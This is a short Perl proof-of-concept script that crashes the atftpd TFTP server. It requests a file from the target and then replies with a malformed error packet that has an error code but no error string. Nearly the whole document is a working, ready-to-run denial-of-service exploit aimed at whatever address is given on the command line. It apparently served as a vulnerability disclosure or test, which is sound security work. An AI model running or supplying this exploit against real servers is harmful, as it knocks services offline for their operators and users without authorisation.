#!/usr/bin/perl 
#
# Usage:
#  ./tftptest address filename
#
# Create malformed TFTP error response - there make atftpd crash
#
# Filename must exists on tftp server
# 
# Author: Jakob Hilmer (jakob@hilmer.dk)
#
#

use Socket;

my ($host, $him, $src, $port, $ipaddr, $data);

# create udp socket
socket(MsgBox, PF_INET, SOCK_DGRAM, getprotobyname("udp")) or die "scoket: $!";

$him = sockaddr_in(scalar(getservbyname("tftp", "udp")), inet_aton(shift || '127.1'));

# Tftp request 
my $data = pack("nZ*Z*", 1, shift || "configuration", "octet");
defined(send(MsgBox, $data, 0, $him)) or die "send: $!";

# Wiit for response
defined($src = recv(MsgBox, $ptime, 4, 0)) or die "recv: $!";

# Send malformed TFTP error - only the error opcode = 5 and errno = 1, but without the error string.
$data = pack("nn", 5,1);
defined(send(MsgBox, $data, 0, $src)) or die "send: $!";